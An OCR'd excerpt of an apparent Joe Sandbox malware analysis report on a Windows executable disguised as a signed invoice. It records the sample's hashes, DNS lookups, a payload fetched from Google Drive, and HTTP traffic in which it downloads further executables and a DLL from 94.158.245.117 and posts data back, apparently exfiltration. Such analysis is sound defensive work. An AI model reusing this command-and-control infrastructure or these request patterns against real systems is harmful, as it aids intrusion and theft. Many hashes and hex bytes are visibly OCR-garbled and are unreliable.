Entropy (8bit):  6.514932604208782

Encrypted: false
SSDEEP: 24576:BIDWWdAXW2SBNT]lY24eJoyGttl3+FZVpsqg/2W:BIDvX0BY 24eJoyctl3+FTX
MDS5: F964811B68F9F1487C2B41E1AEF576CE
SHA1L: B423959793F14B1416BC3B7051BED58A1034025F
SHA-256: 83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CDOC014844E5F7
SHA-512: 565B1A7291C6FCB63205907FCDIE72FC2E11CA945AFC4468C378EDBABB2E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971ACLC1DE2BFA4248ECOF98
4
Malicious: false
Preview:
L.IThis program cannot be run in DOS mode....$.......PE..L.....t\..
text.. XX........ Z...

.@.0@.idata..H.............
@.@B/19..

\Device\Null

Process: C:\Windows\SysWOW64\timeout.exe

File Type: ASCII text, with CRLF line terminators, with overstriking
Category: dropped

Size (bytes): 92

Entropy (8bit):  4.300553674183507

Encrypted: false

SSDEEP: 3:hYFEHgARCWmMFSFJQZtctFst3g4t32vov:hY FEIMFSQZi3MXt3X

MD5: F74899957624A2837F2F86EBE62E92D4

SHA1L: 1FCDAC5DEC5B0B1EOOCF0247DA2A5F18566F1431

SHA-256: 507992A303C447D1D40D36E2E5163A237077B94F23A7089AC90A2F08682AE9BC

SHA-512: E3FD14728633614B6552A75C15079AC8B04COE8B3F49535B522C73312B1C812E30A934099AB18B507A0B4878068987D5545E90FA3747F7E7B10360EE324DB435
Malicious: false

Preview:

..Waiting for 10 seconds, press CTRL+C to quit ..... 9..8..7..6..5..4..3..2.. 1.. 0..

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 6.872419363708927
TriD: e Win32 Executable (generic) a (10002005/4)
99.15%
e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: usd15.030 payment copy & signed invoice
SEPTEMBER 2021 shipment.exe
File size: 131072
MD5: 257e1f881863b023fcddaedb2ac22e68
SHA1L: 9cff8e3a2a2ch5ad3acha8d4260b2581e0098ac9
SHA256: 856d455d07bff404e39b422f1ad0bbff9397707c86670dbc
1134729b442a8c868
SHA512: a3bdd1a69f697alfe2f806f2e4cdb821bbbb837fe2511514
73c2af56b3785ecd4ad0902f099d83063da3f122fdd25cf7
81299e96c9ea035b6c90e72695166dda
SSDEEP: 3072:qywIsPNymxmfHABX/QzheEmIFVw7qdimz:qwsY

4MABX/QHmMEwWSIm

File Content Preview:

File Icon

3
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Icon Hash: 20047c7c70f0e004

Static PE Info

General

Entrypoint: 0x401574

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp: 0x5742A6F8 [Mon May 23 06:45:12 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o~ O B O »

Subsystem Version Minor:

Import Hash: 44cde914d1969d7de2a52adae7c22460

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 Oxlad84 0x1b000 False 0.591182002315 data 7.12774451895 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.data 0x1c000 0x1910 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

rsrc 0x1e000 0x297b 0x3000 False 0.703776041667 data 6.62716963651 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets
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DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Sep 14, 2021 01:07:16.638360023 CEST 192.168.2.5 8.8.8.8 0xd72e Standard query  drive.google.com A (IP address) IN (0x0001)
(0)
Sep 14, 2021 01:07:17.833405972 CEST 192.168.2.5 8.8.8.8 Oxla7d Standard query  doc-04-1s- A (IP address) IN (0x0001)
(0) docs.googl
eusercontent.com
Sep 14, 2021 01:07:18.490650892 CEST 192.168.2.5 8.8.8.8 0x91fa Standard query  telete.in A (IP address) IN (0x0001)
0
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Sep 14, 2021 8.8.8.8 192.168.2.5 0xd72e No error (0) drive.goog 142.250.102.101 A (IP address)  IN (0x0001)
01:07:16.678736925 le.com
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 0xd72e No error (0) drive.goog 142.250.102.102 A (IP address)  IN (0x0001)
01:07:16.678736925 le.com
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 0xd72e No error (0) drive.goog 142.250.102.139 A (IP address)  IN (0x0001)
01:07:16.678736925 le.com
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 0xd72e No error (0) drive.goog 142.250.102.138 A (IP address)  IN (0x0001)
01:07:16.678736925 le.com
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 0xd72e No error (0) drive.goog 142.250.102.100 A (IP address)  IN (0x0001)
01:07:16.678736925 le.com
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 0xd72e No error (0) drive.goog 142.250.102.113 A (IP address)  IN (0x0001)
01:07:16.678736925 le.com
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 Oxla7d No error (0) doc-04-1s- googlehosted.l.googleuse CNAME IN (0x0001)
01:07:17.889986992 docs.goog| rcontent.com (Canonical
CEST euserconte name)
nt.com
Sep 14, 2021 8.8.8.8 192.168.2.5 Oxla7d No error (0) googlehost 142.250.102.132 A (IP address)  IN (0x0001)
01:07:17.889986992 ed.l.googl
CEST euserconte
nt.com
Sep 14, 2021 8.8.8.8 192.168.2.5 0x91fa No error (0) telete.in 195.201.225.248 A (IP address)  IN (0x0001)
01:07:18.528215885
CEST
Sep 14, 2021 8.8.8.8 192.168.2.5 Oxa82f No error (0) prda.aadg. www.tm.a.prd.aadg.traffic CNAME IN (0x0001)
01:07:28.778815031 msidentity.com  manager.net (Canonical
CEST name)

HTTP Request Dependency Graph

e drive.google.com

e doc-04-1s-docs.googleusercontent.com

o telete.in

e 94.158.245.117

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49788 142.250.102.101 443 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER
2021 shipment.exe

kBytes
Timestamp transferred Direction Data
Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.5 49789 142.250.102.132 443 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER

2021 shipment.exe
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Timestamp

Session ID

2

Timestamp

Session ID

3

Timestamp

Sep 14, 2021
01:07:18.804034948 CEST

Sep 14, 2021
01:07:19.293632030 CEST

Sep 14, 2021
01:07:19.304488897 CEST

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

Source IP

192.168.2.5

kBytes
transferred

7222

7224

7229

Copyright Joe Security LLC 2021

Direction

Source Port

49790

Direction

Source Port

49791

Direction

ouT

ouT

Data

Destination IP Destination Port Process

195.201.225.248 443 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER
2021 shipment.exe

Data

Destination IP Destination Port Process

94.158.245.117 80 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER
2021 shipment.exe

Data

POST /HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: text/plain; charset=UTF-8
Content-Length: 128

Host: 94.158.245.117

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 13 Sep 2021 23:07:19 GMT

Content-Type: text/plain;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Access-Control-Allow-Headers: *

Access-Control-Allow-Origin: *

Data Raw: 31 37 33 63 0d Oa 75 6e 4e 32 47 4b 2b 6e 50 6d 64 52 32 4f 54 4b 7a 50 55 41 79 35 35 52 4d 2b 61 63 65 74
4f 7a 35 62 30 54 74 51 33 57 41 4f 56 4d 54 30 46 62 6e 33 38 48 62 51 5a 62 68 39 76 53 51 63 2b 34 77 4b 56 71 32
38 7830 5a 6d 33 48 63 6e 71 77 78 49 67 39 71 6f 52 34 67 59 61 43 37 47 6f 66 4f 6e 70 63 72 4f 68 73 37 61 63 47 62
41 70 5a 54 34 69 59 43 4f 43 5a 31 67 2f 4a 75 35 4a 52 41 36 37 34 51 4f 55 59 34 62 31 32 34 76 62 4c 37 58 61 79 44
53 66 6b 67 58 52 53 4b 66 31 65 72 4f 49 79 74 4f 35 4a 4e 30 42 74 59 4f 54 4e 2b 54 41 39 32 67 68 6f 54 4¢c 52 7a 63
6f 34 66 4d 63 46 31 48 73 39 69 59 74 68 57 33 7a 70 67 74 34 78 30 31 47 56 37 54 64 41 73 5a 62 35 38 4f 64 6d 4b
36 54 69 51 30 79 49 56 37 44 6e 73 73 68 55 6b 64 31 57 47 66 45 37 6¢ 4e 6e 6¢ 6b 49 33 79 36 2f 35 72 49 35 4d 68 7
7 48 69 4a 7a 58 4d 6f 58 6a 31 6a 62 76 78 4c 64 61 6¢ 76 50 66 66 58 48 67 67 5a 44 50 72 34 6¢ 66 45 6f 45 61 6a 79
43 73 47 53 73 71 37 4a 4e 78 59 55 65 4c 79 59 43 37 69 45 57 6f 79 46 6b 37 6b 51 4a 71 33 73 63 54 55 6a 6b 65 34
68 59 47 35 70 6b 41 6e 75 72 76 58 54 56 75 6b 46 31 69 4a 63 41 78 52 34 39 51 6d 73 36 6e 51 65 67 75 56 30 53 69
54 6d 49 33 64 33 69 65 66 51 70 41 73 54 61 51 53 68 6d 2b 42 39 4f 46 38 6e 6a 43 4a 2b 41 77 43 56 6d 4e 6a 31 56
34 55 59 6e 44 73 52 2f 64 39 78 54 57 35 74 69 50 66 79 67 37 35 6f 44 7a 32 4f 71 7a 70 61 50 65 53 73 4d 30 6d 65 43
30 4e 48 65 77 41 4d 34 63 66 7a 4c 2b 66 57 54 39 6f 4d 4c 2f 52 43 51 57 2b 33 4b 5a 31 41 6e 74 2b 75 63 4e 7a 4f 45
64 78 6¢ 54 6¢ 4b 79 78 6d 64 66 59 56 63 33 33 56 73 4a 58 41 62 62 65 30 36 6e 44 6b 79 2b 46 62 35 63 41 69 78 48
74 49 74 50 43 77 71 55 30 31 53 63 2f 43 41 57 42 72 6d 6f 34 2b 5a 50 38 58 45 35 77 73 32 33 30 50 58 73 76 76 42
76 43 325559 61 51 43 6b 75 30 63 67 43 76 50 39 68 44 2f 54 46 33 6a 6a 2b 31 45 76 50 36 65 55 67 6a 39 67 62 73
69 76 32 41 6f 64 50 55 64 6¢ 71 59 47 4d 4f 48 2b 6¢ 4a 73 5a 49 75 6b 6a 65 73 55 30 6a 76 79 53 66 75 35 35 6¢ 57 59
71 64 30 2b 68 5a 6a 74 52 69 4f 71 7a 52 2b 4c 6f 53 53 5a 2b 38 4b 30 79 37 44 57 56 59 4c 47 57 4d 71 73 44 35 44 71
61 46 4f 6f 43 63 64 41 6a 72 4f 75 48 72 71 59 41 67 6¢ 74 2f 74 4e 41 76 4b 50 65 65 38 71 33 67 35 62 65 77 55 49 62
3330 48 42 45 6e 53 2f 51 62 5a 62 4e 55 6f 71 66 53 71 65 4f 30 70 56 62 5a 78 6f 48 31 7a 78 4b 58 6e 76 43 76 32 36
55 4¢ 63 62 7a 70 6b 45 7a 53 79 65 6¢ 4a 49 33 77 42 4e 32 49 37 38 70 6d 39 74 49 7a 62 6d 59 70 38 6b 2b 4f 47 75
47 4b 6¢ 68 4c 6d 65 69 51 41 62 42 58 76 4e 73 7a 45 4b 76 48 75 35 6f 32 34 6e 77 73 38 6a 56 74 45 4c 56 6b 2f 65
51 68 44 59 45 38 73 63 68 75 6d 65 2b 71 45 55 74 4e 5a 57 7a 46 67 55 68 72 36 44 35 31 2b 73 61 39 58 6f 31 33 43
36 51 2f 48 4¢c 77 6¢ 69 75 65 7a 31 76 45 69 47 54 4d 73 6¢ 4c 56 4c 4d 43 32 3233 47 3051 59 6b 46 337272782b 3
07971 63 4b 63 5a 51 57 78 47 44 49 55 37 2f 2b 44 49 51 48 63 37 5a 2f 41 6f 32 4b 76 51 64 4d 73 6a 74 53 41 74 79
6¢C 61 6b 78 4c 4b 43 4a 72 4d 33 31 49 79 7a 58 42 77 59 52 6a 66 66 6b 38 46 79 70 6b 75 5a 73 74 71 4e 55 43 43 63
76 54 38 38 68 2f 66 31 65 30 74 45 46 5a 74 78 54 74 38 6f 75 61 61 66 4d 50 69 4b 36 64 74 44 6e 2f 4c 35 6¢ 39 62 34
68 5a 6e 4b 33 61 4b 50 7a 58 41 43 31 4c 56 45 6e 74 67 68 6d 4e 57 71 57

Data Ascii: 173cunN2GK+nPmdR20TKzPUAy55RM+acetOz5b0TtQ3WAOVMTOFbn38HbQZbh9vSQc+4wKV(g28x0Zm
3Hcngwxlg9goR4gYaC7GofOnpcrOhs7acGbApZT4iYCOCZ1g/JuSIRA674Q0UY4b124vbL7XayDSfkgXRSKflerOly
tO5INOBtYOTN+TA92ghoTLRzco4fMcF1Hs9iYthW3zpgt4x01GV7TdAsZb580dmK6ETiQOyIV7DnsshUkd1WGFE7INN
IkI3y6/5rI5MhwHiJzXMoXjljbvxLdalvPffXHggZDPralfEoEajyCsGSsq7JNxYUeLyYC7IEWoyFk7kQJq3scTUjke4dhYG5pkAn
urvXTVukF1iJcAxR49Qms6nQeguV0SiTmI3d3iefQpAsTaQShm+B9OF8njCI+AwCVmMNj1V4UYnDsR/d9XTWS5tiPfyg
750Dz20qzpaPeSsMOmeCONHewAM4cizL+fWT9oML/RCQW+3KZ1Ant+ucNzOEdXITIKyxmdfYVc33VsIXAbbe06nDky
+Fb5cAixHtItPCwqU01Sc/CAWBrmo4+ZP8XE5ws230PXsvwBvC2UYaQCku0cgCvPOhD/TF3jj+1EvP6eUgj9gbsiv2
AodPUdIgY GMOH+JsZlukjesUOjvySfu55IWYqd0+hZjtRiOgzR+LoSSZ+8K0y7DWVYLGWMgsD5DgaFOoCcdAjrOuH
rqYAglt/tNAvKPee8q3g5bewUIb30HBENS/QbZbNUoqfSqeO0pVbZxoH1zxKXnvCv26ULchzpkEzSyelJI3wBN2178
pm9tizbmYp8k+OGuGKIhLmeiQAbBXvNszEKvHu5024nws8jVIELVk/eQhDYE8schume+qEUtNZWzFgUhr6D51+sa9X
013C6Q/HLwWliuez1vEIGTMSsILVLMC223G0QYKF3rrx+0yqcKcZQWxXGDIU7/+DIQHc7Z/A02KvQdMsjtSAtylakxLKC
JrM31lyzXBwY Rjffk8FypkuZstqNUCCcvT88h/f1e0tEFZtx Tt8ouaafMPIK6dtDn/L519b4hZnK3aKPzXACILVENtghmNWqW

GET //IIfljYtq4XsB3dP17SpzNNud/28e4ca709c3ae4e969310e3d8acd9cfc29159591 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Host: 94.158.245.117
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kBytes
Timestamp transferred

Sep 14, 2021 7231
01:07:19.601815939 CEST

Sep 14, 2021 8183
01:07:24.081079006 CEST

Sep 14, 2021 8185
01:07:24.337516069 CEST

Copyright Joe Security LLC 2021

Direction

IN

ouT

Data

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 13 Sep 2021 23:07:19 GMT

Content-Type: application/octet-stream

Content-Length: 916735

Connection: keep-alive

Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT

ETag: "612fa893-dfcff"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5¢ 00 10 Oc 00 12 10 00 00 e0 00 06 21 Ob 01
02 19 00 5a 09 00 00 04 Ob 00 00 Oa 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04
00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 Oc 00 00 06 00 00 1c 87 Oe 00 03 00 00 00 00 00 20 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 cO Oa 00 9d 20 00 00 00 fO Oa 00 48 Oc 00 00 00 20 Ob 00 a8 04 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 Ob 00 be 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 04 10 Ob 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO f1 0a 00 b4
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00
00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00
00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 cO 2e 72 64 61 74 61 00 00 14 1f
01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28
08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 cO 2e 65 64 61 74 61 00 00
9d 20 00 00 00 c0 Oa 00 00 22 00 00 00 9¢ Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 O
048 0c 00 00 00 f0 0a 00 00 Oe 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 43 52 54 00 00 00
00 2c 00 00 00 00 00 Ob 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6¢ 73 00 00
00 00 20 00 00 00 00 10 Ob 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 72 73 72 63
00 00 00 a8 04 00 00 00 20 Ob 00 00 06 00 00 00 dO 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 72 65 6¢
6f 63 00 00 bc 33 00 00 00 30 Ob 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00
00 00 00 00 00 d8 02 00 00 00 70 Ob 00 00 04 00 00 00 Oa Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31
39 00 00 00 00 00 d8 98 00 00 00 80 Ob 00 00 9a 00 00 00 Oe Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f
3331 00 00 00 00 00 f5 1a 00 00 00 20 Oc 00 00 1c 00 00 00 a8 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42
2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 Oc 00 00 1c 00 00 00 c4 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10
42 2f 35 37 00 00 00 00 00 bc 08 00 00 00 60 Oc 00 00 0a 00 00 00 e0 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
30 42 2f 37 30 00 00 00 00 00 69 02 00 00 00 70 Oc 00 00 04 00 00 00 ea Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 O
0 10 42 2f 38 31 00 00 00 00 00 d3 1c 00 00 00 80 Oc 00 00 1e 00 00 00 ee Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 10 42 2f 39 32 00 00 00 00 00 90 02 00 00 00 a0 Oc 00 00 04 00 00 00 Oc Oc 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELt\!Zpa H 03.textXXZ'P".datap’@".rdata |@ @.bss("
.edata "@0@.idataH@0.CRT,@0.tls @0.rsrc @0.reloc304@0B/4p@ @B/19@B/31 @B/45@@B/57 @0B/70ip@
B/81@B/92

GET //I/fljYtg4XsB3dP17SpzNNud/fcObe222df12d21cfda3f20b85f1cabOe0al3d225 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Host: 94.158.245.117

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 13 Sep 2021 23:07:24 GMT

Content-Type: application/octet-stream

Content-Length: 2828315

Connection: keep-alive

Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT

ETag: "612fa893-2b281b"

Accept-Ranges: bytes

Data Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 Ob 00 00 00 6e 73 73 64 62 6d
33 2e 64 6¢ 6¢ ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20
b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1l 43 b0 12 08 4e 02 3b 19 b7 f5 €9 a3 7d ec 2f ab f5 f1 €9 0f db a7 b6 b5 80 d5 ea
86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef {7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e
7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff €5 99 04 61 ca ec 3f 4e 11 e ca
7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5¢ f0 b5 db 0a b6 4a 77 16 7c fd
ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 al 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 Of bf ed cf 2c fe
€9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 cl 4f fd f4 5b f2 d3 75 fO 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91
9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e 7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0
d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6
98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 Oe 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 {8 ef
4c 41 3872 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef €9 3c bd 5d 17 72 b8 d3 ff 15 00
54 57 6d bd f5 e6 fO cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6¢ 42 02 db €0 33 11 6e 84 e5 5f ca 17 bb 6a
eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac fO bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea
90 bc ac ¢8 67 72 08 el 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf €9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c
02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 Ob ce c6 le 2d f7 al 12 93 a3 4f 98 01 39 5¢ bl c6 le 2c 74 c8 el 57 1b 6d
ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3¢ 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6¢ 68 2e 73 8b el 6f d8 Of b8
c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed
6b 72 4d 75 01 5f 90 59 5¢ 82 a0 Oe cb 2f 38 54 cf 18 96 Ob af 06 26 Ob 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75
24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d ¢8 09 f3 ae 5¢ 57 ac 59 a9 33 37 2b 6e 51 5 5a 95 2a ab ea bl c5 33 5¢ 47
15 bf 35 64 be al 8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 {7 ab 58 46 ac 59 1e cc 6¢ 56 56 57 9a d5 43 98 d8 7c
bd fd 80 80 cf 62 fb aa 5¢ 93 5a 0f 95 87 6d 81 20 f3 03 30 fO d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb
b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8 b5 4e a5 3e 11 54 3f 57 4d ea 16 11 b1 29 39 42 d6
86 ce a3 f6 8e bf 00 9e ec 07 96 d8 Of 1c 6d 56 57 b4 9a 9b 8b bb ed 07 62 80 36 7b e5 11 7c 21 da Of bc 08 ef d4 4f ec 07
12 01 4d 1a 89 8a e5 3e d6 3e c3 24 5¢ 2e 25 d4 d7 4c d2 88 7a 46 93 6¢ d0 a5 f6 03 33 9a 95 9d 01 b3 7c 08 b0 30 23
2a 4e 2b ee b7 1f 38 ¢4 9b e7 35 db Of cO ef 4e af e8 8a 55 34 2b 62 80 15 66 53 ff 03 32 3a 63 f6 8e 1f 03 7a e5 b6 04 cO
3143 a9 1f 92 b6 da 0f 40 41 cd 9d 5a 8 26 b5 d6 al f6 95 77 6f 13 d5 d7 e2 16 fb 81 ¢3 00 52 40 04

Data Ascii: PKznN<{rinssdbm3.dll|8NY6$J$1D a.jLVCN;}/$Z, TRqcEc=;{sp ' A?MW!a?N~eAWo[},;+\Jw|k<yR"Eonxs
c=V,FeuwO[u{<w7P{K~Ewcz"[Z6GV2+n41M.w{fnJL{ dM+ /)$XILK MwILA8rIXr87}<]rTWmb6/_awIB3n_joMz_Q8K*grL*H
VE[*4{1g<>M$G&Y-09\tWmX Y3*S<#}">0RBg,lh.sorp8)3Kvdsn3+]+krMu_YV8T&BC"u;ek u$~"{IM\WY37+nQZ*3\G5
dZhVLZ|K5XFYIVVWC|b\Zm OPF8{JUpRW,nMMs_@>Q N>T?WM)9IBmVWb6{|!OM>>$\.%LzFI3|0#*N+85NU4+bfS2:
cz1C@AZ&wWoR@
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kBytes
Timestamp transferred

Sep 14, 2021 11118
01:07:27.077409983 CEST

Sep 14, 2021 11173
01:07:27.687860012 CEST

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.5
kBytes

Timestamp transferred

2021-09-13 23:07:17UTC 0

2021-09-13 23:07:17UTC 0

2021-09-13 23:07:17 UTC 1

2021-09-13 23:07:17 UTC 1

Session ID Source IP

1 192.168.2.5
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49788

Direction

ouT

Source Port

49789

Direction

Data

POST /HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8IC1lcV
Content-Length: 55359

Host: 94.158.245.117

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 13 Sep 2021 23:07:27 GMT

Content-Type: text/plain;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Access-Control-Allow-Headers: *

Access-Control-Allow-Origin: *

Data Raw: 32 38 0d Oa 61 62 36 61 32 64 63 37 31 32 39 63 63 38 37 35 65 38 39 36 38 34 61 35 36 36 31 36 38 64 39
3862 65 66 65 33 39 35 33 0d Oa 30 0d Oa Od Oa

Data Ascii: 28ab6a2dc7129cc875e89684a566168d98befe39530

Destination IP Destination Port Process

142.250.102.101 443 C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER
2021 shipment.exe

Data

GET /uc?export=download&id=10smU8PgaZ7U1kQk-aksiaM6pSN2MMsz4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Mon, 13 Sep 2021 23:07:17 GMT

Location: https://doc-04-1s-docs.googleusercontent.com/docs/securesc/haOro937gcuc?|7deffksulng5h7mbpl/f4m8v3r8
